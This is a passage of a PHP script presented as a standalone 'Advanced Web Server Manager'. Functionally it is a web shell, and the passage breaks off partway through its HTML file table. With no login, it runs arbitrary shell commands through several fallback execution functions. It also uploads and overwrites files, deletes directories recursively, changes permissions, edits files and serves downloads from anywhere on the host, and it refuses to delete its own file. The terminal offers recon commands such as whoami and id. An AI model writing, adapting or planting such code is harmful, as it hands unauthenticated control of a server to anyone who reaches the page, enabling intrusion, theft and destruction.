<?php
/**
 * Sid Gifari Web Server Manager - Standalone Version
 * Advanced Web Server Manager - No WordPress Required!
 * Author: Sid Gifari
 * Version: 2.0
 */

// Start session
if (!session_id()) {
    session_start();
}

// Configuration
define('ROOT_PATH', realpath(dirname(__FILE__)));
define('SCRIPT_NAME', basename(__FILE__));

// Path encoding/decoding functions
function encodePath($path) {
    $a = array("/", "\\", ".", ":");
    $b = array("CAA", "WAA", "RAA", "YAA");
    return str_replace($a, $b, $path);
}

function decodePath($path) {
    $a = array("/", "\\", ".", ":");
    $b = array("CAA", "WAA", "RAA", "YAA");
    return str_replace($b, $a, $path);
}

// Get current working directory - Fixed logic
function get_current_directory() {
    // Initialize from session or default to root
    if (!isset($_SESSION['current_browsing_dir'])) {
        $_SESSION['current_browsing_dir'] = ROOT_PATH;
    }
    
    $current_dir = $_SESSION['current_browsing_dir'];
    
    // Handle directory change via GET parameter 'dir' or 'p'
    $dir_param = isset($_GET['dir']) ? $_GET['dir'] : (isset($_GET['p']) ? $_GET['p'] : null);
    
    if ($dir_param !== null) {
        $decoded = decodePath($dir_param);
        
        // If empty, go to root
        if (empty($decoded) || $decoded === '/') {
            $current_dir = ROOT_PATH;
        }
        // If it's a full path and directory exists
        elseif (is_dir($decoded)) {
            $real_path = realpath($decoded);
            if ($real_path && is_dir($real_path)) {
                $current_dir = $real_path;
            } else {
                $current_dir = ROOT_PATH;
            }
        }
        // If it's relative to current session directory
        else {
            // Try from current session directory first
            $full_path = $_SESSION['current_browsing_dir'] . DIRECTORY_SEPARATOR . ltrim($decoded, '/\\');
            if (is_dir($full_path)) {
                $real_path = realpath($full_path);
                if ($real_path) {
                    $current_dir = $real_path;
                } else {
                    $current_dir = $_SESSION['current_browsing_dir'];
                }
            }
            // Try from root
            else {
                $full_path = ROOT_PATH . DIRECTORY_SEPARATOR . ltrim($decoded, '/\\');
                if (is_dir($full_path)) {
                    $real_path = realpath($full_path);
                    if ($real_path) {
                        $current_dir = $real_path;
                    } else {
                        $current_dir = $_SESSION['current_browsing_dir'];
                    }
                } else {
                    // Directory doesn't exist, stay in current
                    $current_dir = $_SESSION['current_browsing_dir'];
                }
            }
        }
        
        // Update session with new directory
        $_SESSION['current_browsing_dir'] = $current_dir;
        $_SESSION['cwd'] = $current_dir;
    } else {
        // No 'dir' parameter, use session or default
        if (isset($_SESSION['current_browsing_dir']) && is_dir($_SESSION['current_browsing_dir'])) {
            $current_dir = $_SESSION['current_browsing_dir'];
        } else {
            $current_dir = ROOT_PATH;
            $_SESSION['current_browsing_dir'] = ROOT_PATH;
        }
    }
    
    // Make sure current_dir is valid
    if (!is_dir($current_dir)) {
        $current_dir = ROOT_PATH;
        $_SESSION['current_browsing_dir'] = ROOT_PATH;
    }
    
    // Make sure we have realpath
    $current_dir = realpath($current_dir) ?: ROOT_PATH;
    
    // Update CWD session
    $_SESSION['cwd'] = $current_dir;
    $_SESSION['current_browsing_dir'] = $current_dir;
    
    return $current_dir;
}

// Get current directory
$current_dir = get_current_directory();

// Process POST requests
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Handle terminal commands
    if (isset($_POST['terminal']) && !empty($_POST['terminal-text'])) {
        handle_terminal_command($current_dir);
    }
    
    // Handle file uploads - REPLACE existing files
    if (!empty($_FILES['files']['name'][0])) {
        handle_file_upload($current_dir);
    }
    
    // Handle bulk delete
    if (!empty($_POST['selected_items']) && isset($_POST['delete_selected'])) {
        handle_bulk_delete($current_dir);
    }
    
    // Handle new folder
    if (!empty($_POST['newfolder'])) {
        handle_new_folder($current_dir);
    }
    
    // Handle new file
    if (!empty($_POST['newfile'])) {
        handle_new_file($current_dir);
    }
    
    // Handle single delete
    if (!empty($_POST['delete'])) {
        handle_single_delete($current_dir);
    }
    
    // Handle rename
    if (!empty($_POST['old']) && !empty($_POST['new'])) {
        handle_rename($current_dir);
    }
    
    // Handle chmod
    if (!empty($_POST['chmod_file']) && isset($_POST['chmod'])) {
        handle_chmod($current_dir);
    }
    
    // Handle file edit save
    if (!empty($_POST['edit_file']) && isset($_POST['content'])) {
        handle_file_save($current_dir);
    }
    
    // Redirect to avoid form resubmission with encoded path
    $relative_path = str_replace(ROOT_PATH, '', $current_dir);
    $encoded_dir = encodePath($relative_path);
    header('Location: ' . $_SERVER['PHP_SELF'] . '?dir=' . urlencode($encoded_dir));
    exit;
}

// Handle GET actions
if (isset($_GET['action'])) {
    switch ($_GET['action']) {
        case 'download':
            if (isset($_GET['file'])) {
                $file = $_GET['file'];
                $file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
                if (file_exists($file_path) && is_file($file_path)) {
                    header('Content-Type: application/octet-stream');
                    header('Content-Disposition: attachment; filename="' . basename($file) . '"');
                    header('Content-Length: ' . filesize($file_path));
                    readfile($file_path);
                    exit;
                }
            }
            break;
        case 'view':
            if (isset($_GET['file'])) {
                $file = $_GET['file'];
                $file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
                if (file_exists($file_path) && is_file($file_path)) {
                    $mime = mime_content_type($file_path);
                    header('Content-Type: ' . $mime);
                    header('Content-Disposition: inline; filename="' . basename($file) . '"');
                    readfile($file_path);
                    exit;
                }
            }
            break;
    }
}

// Get directory contents
$items = scandir($current_dir);
$folders = [];
$files = [];

foreach ($items as $item) {
    if ($item === '.' || $item === '..') continue;
    
    $full_path = $current_dir . DIRECTORY_SEPARATOR . $item;
    
    if (is_dir($full_path)) {
        $folders[] = [
            'name' => $item,
            'path' => $full_path,
            'is_dir' => true,
            'size' => '-',
            'perms' => substr(sprintf('%o', fileperms($full_path)), -4),
            'modified' => filemtime($full_path)
        ];
    } else {
        $files[] = [
            'name' => $item,
            'path' => $full_path,
            'is_dir' => false,
            'size' => filesize($full_path),
            'perms' => substr(sprintf('%o', fileperms($full_path)), -4),
            'modified' => filemtime($full_path),
            'extension' => pathinfo($item, PATHINFO_EXTENSION)
        ];
    }
}

// Sort arrays
usort($folders, function($a, $b) {
    return strcasecmp($a['name'], $b['name']);
});

usort($files, function($a, $b) {
    return strcasecmp($a['name'], $b['name']);
});

// Handle edit mode
$editMode = isset($_GET['edit']);
$editFile = $_GET['edit'] ?? '';
$editContent = '';

if ($editMode && is_file($current_dir . DIRECTORY_SEPARATOR . $editFile)) {
    $editContent = file_get_contents($current_dir . DIRECTORY_SEPARATOR . $editFile);
}

// Get messages from session
$terminal_output = $_SESSION['terminal_output'] ?? '';
$upload_message = $_SESSION['upload_message'] ?? '';
$edit_message = $_SESSION['edit_message'] ?? '';
$delete_message = $_SESSION['delete_message'] ?? '';

// Clear messages
unset($_SESSION['terminal_output'], $_SESSION['upload_message'], 
      $_SESSION['edit_message'], $_SESSION['delete_message']);

// Functions
function handle_terminal_command($current_dir) {
    $execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];
    $canExecute = false;
    foreach ($execFunctions as $func) {
        if (function_exists($func)) {
            $canExecute = true;
            break;
        }
    }
    
    $cwd = isset($_SESSION['cwd']) ? $_SESSION['cwd'] : ROOT_PATH;
    $cmdInput = trim($_POST['terminal-text']);
    $output = "";

    // Handle cd command
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);
        
        if ($dir === '' || $dir === '~') {
            $dir = ROOT_PATH;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }
        
        $realDir = realpath($dir);
        
        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $_SESSION['current_browsing_dir'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
            
            // Redirect to update the page
            $relative_path = str_replace(ROOT_PATH, '', $realDir);
            $encoded_dir = encodePath($relative_path);
            header('Location: ' . $_SERVER['PHP_SELF'] . '?dir=' . urlencode($encoded_dir));
            exit;
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }
        
        $_SESSION['terminal_output'] = $output;
        $_SESSION['terminal_cwd'] = $cwd;
        return;
    }
    
    // Execute command
    if ($canExecute) {
        chdir($cwd);
        $cmd = $cmdInput . " 2>&1";
        
        if (function_exists('passthru')) {
            ob_start();
            passthru($cmd);
            $output = ob_get_clean();
        } elseif (function_exists('system')) {
            ob_start();
            system($cmd);
            $output = ob_get_clean();
        } elseif (function_exists('exec')) {
            exec($cmd, $out);
            $output = implode("\n", $out);
        } elseif (function_exists('shell_exec')) {
            $output = shell_exec($cmd);
        } elseif (function_exists('proc_open')) {
            $pipes = [];
            $process = proc_open($cmd, [
                0 => ["pipe", "r"],
                1 => ["pipe", "w"],
                2 => ["pipe", "w"]
            ], $pipes, $cwd);
            
            if (is_resource($process)) {
                fclose($pipes[0]);
                $output = stream_get_contents($pipes[1]);
                fclose($pipes[1]);
                $output .= stream_get_contents($pipes[2]);
                fclose($pipes[2]);
                proc_close($process);
            }
        } elseif (function_exists('popen')) {
            $handle = popen($cmd, 'r');
            if ($handle) {
                $output = stream_get_contents($handle);
                pclose($handle);
            }
        }
        
        $_SESSION['terminal_output'] = $output ?: 'Command executed (no output)';
        $_SESSION['terminal_cwd'] = $cwd;
    } else {
        $_SESSION['terminal_output'] = "Command execution functions are disabled on this server.";
        $_SESSION['terminal_cwd'] = $cwd;
    }
}

function handle_file_upload($current_dir) {
    $uploaded = [];
    $errors = [];
    
    foreach ($_FILES['files']['tmp_name'] as $i => $tmp) {
        if ($tmp && is_uploaded_file($tmp)) {
            $filename = basename($_FILES['files']['name'][$i]);
            $target_path = $current_dir . DIRECTORY_SEPARATOR . $filename;
            
            // Check if file exists - REPLACE IT
            if (file_exists($target_path)) {
                // Delete the old file first
                if (!unlink($target_path)) {
                    $errors[] = $filename . ' (could not delete old file)';
                    continue;
                }
            }
            
            // Move the uploaded file
            if (move_uploaded_file($tmp, $target_path)) {
                chmod($target_path, 0644);
                $uploaded[] = $filename;
            } else {
                $errors[] = $filename;
            }
        }
    }
    
    if (!empty($uploaded)) {
        $_SESSION['upload_message'] = "Uploaded (replaced if existed): " . implode(', ', $uploaded);
        if (!empty($errors)) {
            $_SESSION['upload_message'] .= " | Failed: " . implode(', ', $errors);
        }
    } else {
        $_SESSION['upload_message'] = "No files uploaded successfully.";
    }
}

function handle_bulk_delete($current_dir) {
    $selected_items = $_POST['selected_items'];
    $deleted = [];
    $errors = [];
    
    foreach ($selected_items as $item) {
        $target = $current_dir . DIRECTORY_SEPARATOR . $item;
        
        // Skip deleting this script
        if (realpath($target) === realpath(__FILE__)) {
            $errors[] = $item . ' (protected)';
            continue;
        }
        
        if (is_file($target)) {
            if (unlink($target)) {
                $deleted[] = $item;
            } else {
                $errors[] = $item;
            }
        } elseif (is_dir($target)) {
            if (delete_directory($target)) {
                $deleted[] = $item;
            } else {
                $errors[] = $item;
            }
        }
    }
    
    if (!empty($deleted)) {
        $_SESSION['delete_message'] = "Deleted: " . implode(', ', $deleted);
        if (!empty($errors)) {
            $_SESSION['delete_message'] .= " | Failed: " . implode(', ', $errors);
        }
    } else {
        $_SESSION['delete_message'] = "No items deleted.";
    }
}

function handle_new_folder($current_dir) {
    $foldername = basename(trim($_POST['newfolder']));
    if (!empty($foldername) && !file_exists($current_dir . DIRECTORY_SEPARATOR . $foldername)) {
        if (mkdir($current_dir . DIRECTORY_SEPARATOR . $foldername, 0755)) {
            $_SESSION['delete_message'] = "Folder created: " . $foldername;
        } else {
            $_SESSION['delete_message'] = "Failed to create folder.";
        }
    } else {
        $_SESSION['delete_message'] = "Folder already exists or invalid name.";
    }
}

function handle_new_file($current_dir) {
    $filename = basename(trim($_POST['newfile']));
    if (!empty($filename) && !file_exists($current_dir . DIRECTORY_SEPARATOR . $filename)) {
        if (file_put_contents($current_dir . DIRECTORY_SEPARATOR . $filename, '') !== false) {
            chmod($current_dir . DIRECTORY_SEPARATOR . $filename, 0644);
            $_SESSION['delete_message'] = "File created: " . $filename;
        } else {
            $_SESSION['delete_message'] = "Failed to create file.";
        }
    } else {
        $_SESSION['delete_message'] = "File already exists or invalid name.";
    }
}

function handle_single_delete($current_dir) {
    $target = $current_dir . DIRECTORY_SEPARATOR . $_POST['delete'];
    
    // Skip deleting this script
    if (realpath($target) === realpath(__FILE__)) {
        $_SESSION['delete_message'] = "Cannot delete protected file.";
        return;
    }
    
    if (is_file($target)) {
        if (unlink($target)) {
            $_SESSION['delete_message'] = "Deleted: " . $_POST['delete'];
        } else {
            $_SESSION['delete_message'] = "Failed to delete: " . $_POST['delete'];
        }
    } elseif (is_dir($target)) {
        if (delete_directory($target)) {
            $_SESSION['delete_message'] = "Deleted: " . $_POST['delete'];
        } else {
            $_SESSION['delete_message'] = "Failed to delete directory: " . $_POST['delete'];
        }
    }
}

function handle_rename($current_dir) {
    $old = $current_dir . DIRECTORY_SEPARATOR . $_POST['old'];
    $new = $current_dir . DIRECTORY_SEPARATOR . $_POST['new'];
    
    if (file_exists($old) && !file_exists($new) && !empty($_POST['new'])) {
        if (rename($old, $new)) {
            $_SESSION['delete_message'] = "Renamed: " . $_POST['old'] . " → " . $_POST['new'];
        } else {
            $_SESSION['delete_message'] = "Failed to rename.";
        }
    } else {
        $_SESSION['delete_message'] = "Invalid rename operation.";
    }
}

function handle_chmod($current_dir) {
    $file = $current_dir . DIRECTORY_SEPARATOR . $_POST['chmod_file'];
    if (file_exists($file)) {
        $chmod = intval($_POST['chmod'], 8);
        if (chmod($file, $chmod)) {
            $_SESSION['delete_message'] = "Permissions updated for: " . $_POST['chmod_file'];
        } else {
            $_SESSION['delete_message'] = "Failed to update permissions.";
        }
    }
}

function handle_file_save($current_dir) {
    $file = $current_dir . DIRECTORY_SEPARATOR . $_POST['edit_file'];
    if (file_exists($file) && is_writable($file)) {
        if (file_put_contents($file, stripslashes($_POST['content'])) !== false) {
            $_SESSION['edit_message'] = "File saved successfully!";
        } else {
            $_SESSION['edit_message'] = "Failed to save file.";
        }
    }
}

function delete_directory($dir) {
    if (!file_exists($dir)) {
        return true;
    }
    
    if (!is_dir($dir)) {
        return unlink($dir);
    }
    
    foreach (scandir($dir) as $item) {
        if ($item == '.' || $item == '..') {
            continue;
        }
        
        if (!delete_directory($dir . DIRECTORY_SEPARATOR . $item)) {
            return false;
        }
    }
    
    return rmdir($dir);
}

function formatBytes($bytes, $precision = 2) {
    if ($bytes <= 0) return '0 B';
    
    $units = ['B', 'KB', 'MB', 'GB', 'TB', 'PB'];
    $bytes = max($bytes, 0);
    $pow = floor(($bytes ? log($bytes) : 0) / log(1024));
    $pow = min($pow, count($units) - 1);
    $bytes /= pow(1024, $pow);
    
    return round($bytes, $precision) . ' ' . $units[$pow];
}

function is_executable_available() {
    $functions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];
    foreach ($functions as $func) {
        if (function_exists($func)) {
            return true;
        }
    }
    return false;
}

// Get encoded current directory for links
function getEncodedDir($dir) {
    $relative = str_replace(ROOT_PATH, '', $dir);
    return encodePath($relative);
}

// Render the page
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Advanced Web Server Manager</title>
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body { 
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen-Sans, Ubuntu, Cantarell, 'Helvetica Neue', sans-serif; 
            background: #f1f1f1; 
            min-height: 100vh; 
            padding: 20px;
        }
        .container { 
            max-width: 1400px; 
            margin: 0 auto; 
            background: white; 
            border-radius: 0; 
            box-shadow: 0 2px 4px rgba(0,0,0,0.1); 
            overflow: hidden;
            border: 1px solid #ccd0d4;
        }
        .header { 
            background: #23282d; 
            color: white; 
            padding: 25px 30px; 
            border-bottom: 1px solid #000;
        }
        .header h1 { 
            font-size: 23px; 
            font-weight: 400; 
            margin: 0; 
            color: #fff;
        }
        .header p { 
            margin-top: 8px; 
            color: #a0a5aa; 
            font-size: 13px;
        }
        .path-nav { 
            background: #f5f5f5; 
            padding: 15px 25px; 
            border-bottom: 1px solid #ddd; 
            font-family: 'Consolas', 'Monaco', monospace;
            font-size: 13px;
            color: #23282d;
            overflow-x: auto;
            white-space: nowrap;
        }
        .path-nav a { 
            color: #0073aa; 
            text-decoration: none; 
            padding: 2px 6px; 
            border-radius: 2px; 
            transition: background 0.2s; 
        }
        .path-nav a:hover { 
            background: #e5e5e5; 
            color: #135e96;
        }
        .main-content { 
            padding: 25px 30px; 
        }
        .section { 
            background: #fff; 
            border: 1px solid #ccd0d4; 
            border-radius: 3px; 
            padding: 20px; 
            margin-bottom: 20px; 
            box-shadow: 0 1px 1px rgba(0,0,0,.04);
        }
        .section-title { 
            color: #23282d; 
            border-bottom: 1px solid #ddd; 
            padding-bottom: 15px; 
            margin-bottom: 20px; 
            font-size: 18px; 
            font-weight: 600; 
            display: flex; 
            align-items: center; 
            gap: 8px;
        }
        .terminal-box { 
            background: #1e1e1e; 
            color: #00ff00; 
            padding: 20px; 
            border-radius: 3px; 
            font-family: 'Consolas', 'Monaco', monospace;
            border: 1px solid #000;
        }
        .terminal-output { 
            background: #000; 
            color: #00ff00; 
            padding: 15px; 
            border-radius: 3px; 
            font-family: 'Consolas', 'Monaco', monospace; 
            max-height: 300px; 
            overflow-y: auto; 
            white-space: pre-wrap; 
            margin: 12px 0; 
            line-height: 1.5;
            font-size: 13px;
            border: 1px solid #333;
        }
        .form-inline { 
            display: flex; 
            gap: 8px; 
            margin-bottom: 15px; 
            align-items: center; 
            flex-wrap: wrap;
        }
        input, button, select, textarea { 
            padding: 8px 12px; 
            border: 1px solid #7e8993; 
            border-radius: 3px; 
            font-size: 14px; 
            outline: none; 
            transition: all 0.3s; 
        }
        input[type="text"], input[type="file"], input[type="password"] { 
            flex: 1; 
            background: #fff; 
            min-width: 200px;
        }
        input:focus, textarea:focus { 
            border-color: #007cba; 
            box-shadow: 0 0 0 1px #007cba; 
        }
        button { 
            background: #0073aa; 
            color: white; 
            border: 1px solid #0073aa; 
            cursor: pointer; 
            font-weight: 400; 
            height: 36px;
            white-space: nowrap;
        }
        button:hover { 
            background: #135e96; 
            border-color: #135e96;
        }
        .btn-danger { 
            background: #0a0a0a; 
            border-color: #0a0a0a;
        }
        .btn-danger:hover { 
            background: #b32d2d; 
            border-color: #b32d2d;
        }
        .btn-success { 
            background: #46b450; 
            border-color: #46b450;
        }
        .btn-success:hover { 
            background: #3a9a43; 
            border-color: #3a9a43;
        }
        table { 
            width: 100%; 
            border-collapse: collapse; 
            background: white; 
            border: 1px solid #ccd0d4;
            font-size: 13px;
        }
        thead { 
            background: #f5f5f5; 
            border-bottom: 2px solid #e1e1e1;
        }
        th { 
            padding: 12px 15px; 
            text-align: left; 
            font-weight: 600; 
            color: #23282d; 
            border-bottom: 2px solid #e1e1e1;
        }
        tbody tr { 
            border-bottom: 1px solid #e1e1e1; 
            transition: background 0.2s; 
        }
        tbody tr:hover { 
            background: #f9f9f9; 
        }
        td { 
            padding: 12px 15px; 
            vertical-align: middle;
        }
        .file-icon { 
            margin-right: 8px; 
            font-size: 1.1em; 
            color: #72777c;
        }
        .folder-row { 
            background: #f9f9f9; 
        }
        .file-row { 
            background: #fff; 
        }
        .actions { 
            display: flex; 
            gap: 6px; 
            flex-wrap: wrap; 
        }
        .actions button { 
            padding: 6px 10px; 
            font-size: 12px; 
            height: auto;
        }
        textarea.editor { 
            width: 100%; 
            height: 500px; 
            font-family: 'Consolas', 'Monaco', monospace; 
            padding: 15px; 
            border: 1px solid #ddd; 
            border-radius: 3px; 
            font-size: 13px; 
            line-height: 1.5; 
            resize: vertical;
        }
        .alert { 
            padding: 15px 20px; 
            border-radius: 3px; 
            margin: 20px 0; 
            display: flex; 
            align-items: center; 
            gap: 12px; 
            border-left: 4px solid #46b450;
            background: #f7f7f7;
            border-top: 1px solid #ddd;
            border-right: 1px solid #ddd;
            border-bottom: 1px solid #ddd;
        }
        .alert-success { 
            border-left-color: #46b450; 
            background: #f7f7f7;
        }
        .alert-warning { 
            border-left-color: #ffb900; 
            background: #f7f7f7;
        }
        .alert-info { 
            border-left-color: #0073aa; 
            background: #f7f7f7;
        }
        .footer { 
            text-align: center; 
            padding: 20px; 
            color: #72777c; 
            font-size: 12px; 
            border-top: 1px solid #ddd; 
            background: #f5f5f5; 
        }
        .quick-actions { 
            display: flex; 
            gap: 10px; 
            flex-wrap: wrap; 
            margin-bottom: 20px; 
        }
        .quick-btn { 
            background: #f5f5f5; 
            border: 1px solid #ddd; 
            padding: 8px 12px; 
            border-radius: 3px; 
            cursor: pointer; 
            transition: all 0.2s; 
            font-weight: 400; 
            font-size: 12px;
            color: #23282d;
        }
        .quick-btn:hover { 
            background: #e5e5e5; 
            border-color: #999;
        }
        .stats { 
            display: flex; 
            gap: 20px; 
            margin: 15px 0; 
            padding: 15px; 
            background: #f5f5f5; 
            border-radius: 3px;
            border: 1px solid #ddd;
            flex-wrap: wrap;
        }
        .stat-item { 
            display: flex; 
            flex-direction: column; 
            align-items: center; 
        }
        .stat-value { 
            font-size: 24px; 
            font-weight: 600; 
            color: #23282d; 
        }
        .stat-label { 
            color: #72777c; 
            font-size: 12px; 
            margin-top: 5px;
        }
        .file-size { 
            font-family: 'Consolas', 'Monaco', monospace; 
            color: #72777c; 
        }
        .file-modified { 
            color: #72777c; 
            font-size: 12px;
        }
        .current-path { 
            font-family: 'Consolas', 'Monaco', monospace; 
            background: #f5f5f5; 
            padding: 5px 8px; 
            border-radius: 3px; 
            color: #23282d;
            font-size: 12px;
            border: 1px solid #ddd;
        }
        .checkbox-cell { 
            width: 30px; 
            text-align: center; 
        }
        .select-all-row { 
            background: #e8f4f8; 
            font-weight: bold; 
        }
        .selected { 
            background: #e8f4f8 !important; 
        }
        @media (max-width: 992px) {
            .container { margin: 10px; }
            .form-inline { flex-direction: column; align-items: stretch; }
            .actions { flex-direction: column; }
            th, td { padding: 10px; }
            .header h1 { font-size: 20px; }
            .quick-actions { flex-direction: column; }
            .stats { flex-direction: column; align-items: flex-start; }
            .path-nav { font-size: 11px; }
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <h1>🚀 Advanced Web Server Manager</h1>
            <p>Complete File Manager & Terminal - Standalone Version</p>
            <p style="font-size: 11px; color: #888;">By Sid Gifari | Gifari Industries</p>
        </div>

        <?php if ($upload_message): ?>
        <div class="alert alert-success">
            <span style="font-size: 1.2em;">📤</span>
            <div style="flex: 1;">
                <strong style="color: #23282d;">Upload Result:</strong><br>
                <span style="color: #72777c; font-size: 13px;"><?= htmlspecialchars($upload_message) ?></span>
            </div>
        </div>
        <?php endif; ?>
        
        <?php if ($edit_message): ?>
        <div class="alert alert-success">
            <span style="font-size: 1.2em;">💾</span>
            <div style="flex: 1;">
                <strong style="color: #23282d;">File Saved!</strong><br>
                <span style="color: #72777c; font-size: 13px;"><?= htmlspecialchars($edit_message) ?></span>
            </div>
        </div>
        <?php endif; ?>
        
        <?php if ($delete_message): ?>
        <div class="alert alert-info">
            <span style="font-size: 1.2em;">🗑️</span>
            <div style="flex: 1;">
                <strong style="color: #23282d;">Operation Result:</strong><br>
                <span style="color: #72777c; font-size: 13px;"><?= htmlspecialchars($delete_message) ?></span>
            </div>
        </div>
        <?php endif; ?>

        <div class="path-nav">
            <span style="color: #72777c;">Current path:</span>
            <a href="<?= $_SERVER['PHP_SELF'] ?>">/</a>
            <?php
            $path_parts = explode('/', str_replace('\\', '/', $current_dir));
            $current_path = '';
            foreach ($path_parts as $part) {
                if ($part === '') continue;
                $current_path .= '/' . $part;
                
                // Navigate through path with encoding
                $relative_path = str_replace(ROOT_PATH, '', $current_path);
                $encoded_path = encodePath($relative_path);
                echo '/ <a href="' . $_SERVER['PHP_SELF'] . '?dir=' . urlencode($encoded_path) . '">' . htmlspecialchars($part) . '</a>';
            }
            ?>
        </div>

        <div class="main-content">
            <?php if ($editMode): ?>
                <div class="section">
                    <div class="section-title">
                        <span>✏️</span>
                        <span>Editing: <?= htmlspecialchars($editFile) ?></span>
                    </div>
                    <form method="post">
                        <input type="hidden" name="edit_file" value="<?= htmlspecialchars($editFile) ?>">
                        <input type="hidden" name="current_dir" value="<?= htmlspecialchars($current_dir) ?>">
                        <textarea name="content" class="editor" placeholder="File content..."><?= htmlspecialchars($editContent) ?></textarea>
                        <div class="form-inline" style="margin-top: 20px;">
                            <button type="submit" class="btn-success" style="padding: 10px 20px; font-size: 14px;">
                                💾 Save Changes
                            </button>
                            <a href="<?= $_SERVER['PHP_SELF'] . '?dir=' . urlencode(getEncodedDir($current_dir)) ?>">
                                <button type="button" style="padding: 10px 20px; font-size: 14px; background: #72777c; border-color: #72777c;">
                                    ❌ Cancel
                                </button>
                            </a>
                        </div>
                    </form>
                </div>

            <?php else: ?>
                <div class="stats">
                    <div class="stat-item">
                        <div class="stat-value"><?= count($folders) ?></div>
                        <div class="stat-label">Folders</div>
                    </div>
                    <div class="stat-item">
                        <div class="stat-value"><?= count($files) ?></div>
                        <div class="stat-label">Files</div>
                    </div>
                    <div class="stat-item">
                        <div class="stat-value"><?= formatBytes(array_sum(array_column($files, 'size'))) ?></div>
                        <div class="stat-label">Total Size</div>
                    </div>
                    <div class="stat-item">
                        <div class="stat-value"><?= formatBytes(disk_free_space($current_dir)) ?></div>
                        <div class="stat-label">Free Space</div>
                    </div>
                    <div class="stat-item">
                        <div class="stat-value"><?= is_executable_available() ? '✅' : '❌' ?></div>
                        <div class="stat-label">Terminal Available</div>
                    </div>
                </div>

                <div class="section">
                    <h2 class="section-title">🖥️ Terminal</h2>
                    <div class="terminal-box">
                        <div style="margin-bottom: 15px; font-size: 12px; color: #aaa;">
                            <strong>root@server:</strong><span class="current-path"><?= htmlspecialchars($current_dir) ?></span><strong>$</strong>
                        </div>
                        <?php if ($terminal_output): ?>
                        <div class="terminal-output"><?= htmlspecialchars($terminal_output) ?></div>
                        <?php endif; ?>
                        <form method="post" class="form-inline">
                            <input type="text" name="terminal-text" placeholder="Enter command (ls, cd, pwd, cat, wget, etc.)" autocomplete="off" autofocus style="flex: 1;">
                            <button type="submit" name="terminal" value="1" style="min-width: 80px; background: #32373c; border-color: #32373c;">
                                Run
                            </button>
                        </form>
                        <div style="margin-top: 15px; color: #aaa; font-size: 12px;">
                            <strong>Quick commands:</strong>
                            <div style="display: flex; gap: 8px; margin-top: 8px; flex-wrap: wrap;">
                                <?php
                                $quick_commands = [
                                    'ls -la' => 'List all files',
                                    'whoami' => 'Show current user',
                                    'php -v' => 'PHP version',
                                    'uname -a' => 'System info',
                                    'df -h' => 'Disk usage',
                                    'id' => 'User ID info',
                                    'pwd' => 'Current directory'
                                ];
                                foreach ($quick_commands as $cmd => $desc): ?>
                                <span class="quick-btn" onclick="document.querySelector('[name=\"terminal-text\"]').value='<?= $cmd ?>'; document.querySelector('[name=\"terminal-text\"]').focus();" 
                                      title="<?= $desc ?>">
                                    <?= $cmd ?>
                                </span>
                                <?php endforeach; ?>
                            </div>
                        </div>
                    </div>
                </div>

                <div class="section">
                    <div class="section-title">
                        <span>⚡ Quick Actions</span>
                    </div>
                    <div class="quick-actions">
                        <form method="post" class="form-inline" style="flex: 1; min-width: 250px;">
                            <input type="text" name="newfolder" placeholder="New folder name" required>
                            <button type="submit" class="btn-success">
                                📁 Create Folder
                            </button>
                        </form>
                        
                        <form method="post" class="form-inline" style="flex: 1; min-width: 250px;">
                            <input type="text" name="newfile" placeholder="New file name" required>
                            <button type="submit">
                                📄 Create File
                            </button>
                        </form>
                        
                        <form method="post" enctype="multipart/form-data" class="form-inline" style="flex: 1; min-width: 250px;">
                            <input type="file" name="files[]" multiple style="padding: 6px; border: 1px solid #ddd;">
                            <button type="submit" style="background: #32373c; border-color: #32373c;">
                                ⬆️ Upload Files
                            </button>
                        </form>
                    </div>
                </div>

                <div class="section">
                    <form method="post" id="bulk-form">
                        <div class="form-inline" style="margin-bottom: 15px;">
                            <button type="submit" name="delete_selected" value="1" class="btn-danger" onclick="return confirm('Delete all selected items?')">
                                🗑️ Delete Selected
                            </button>
                            <button type="button" class="btn-success" onclick="selectAllItems()">
                                ☑️ Select All
                            </button>
                            <button type="button" onclick="deselectAllItems()">
                                ⬜ Deselect All
                            </button>
                        </div>
                </div>

                <div class="section">
                    <div class="section-title">
                        <span>📂 File Browser</span>
                    </div>
                    
                    <table>
                        <thead>
                            <tr>
                                <th class="checkbox-cell">
                                    <input type="checkbox" id="select-all" onchange="toggleAllItems(this)">
                                </th>
                                <th>Name</th>
                                <th>Size</th>
                                <th>Permissions</th>
                                <th>Modified</th>
                                <th>Actions</th>
                            </tr>
                        </thead>
                        <tbody>
                            <?php foreach ($folders as $item): ?>
                            <tr class="folder-row" id="row-<?= htmlspecialchars($item['name']) ?>">
                                <td class="checkbox-cell">
                                    <input type="checkbox" name="selected_items[]" value="<?= htmlspecialchars($item['name']) ?>" 
                                           class="item-checkbox" onchange="toggleRowSelection(this)">
                                </td>
                                <td>
                                    <span class="file-icon">📁</span>
                                    <strong>
                                        <a href="<?= $_SERVER['PHP_SELF'] ?>?dir=<?= urlencode(encodePath(str_replace(ROOT_PATH, '', $item['path']))) ?>">
                                            <?= htmlspecialchars($item['name']) ?>
                                        </a>
                                    </strong>
                                </td>
                                <td class="file-size"><em><?= $item['size'] ?></em></td>
                                <td>
                                    <form method="post" class="form-inline" style="margin: 0;">
                                        <input type="hidden" name="chmod_file" value="<?= htmlspecialchars($item['name']) ?>">
                                        <input type="text" name="chmod" value="<?= $item['perms'] ?>" style="width: 60px; text-align: center; font-family: 'Consolas', monospace; font-size: 12px;">
                                        <button type="submit" style="padding: 6px 10px; font-size: 11px;">Set</button>
                                    </form>
                                </td>
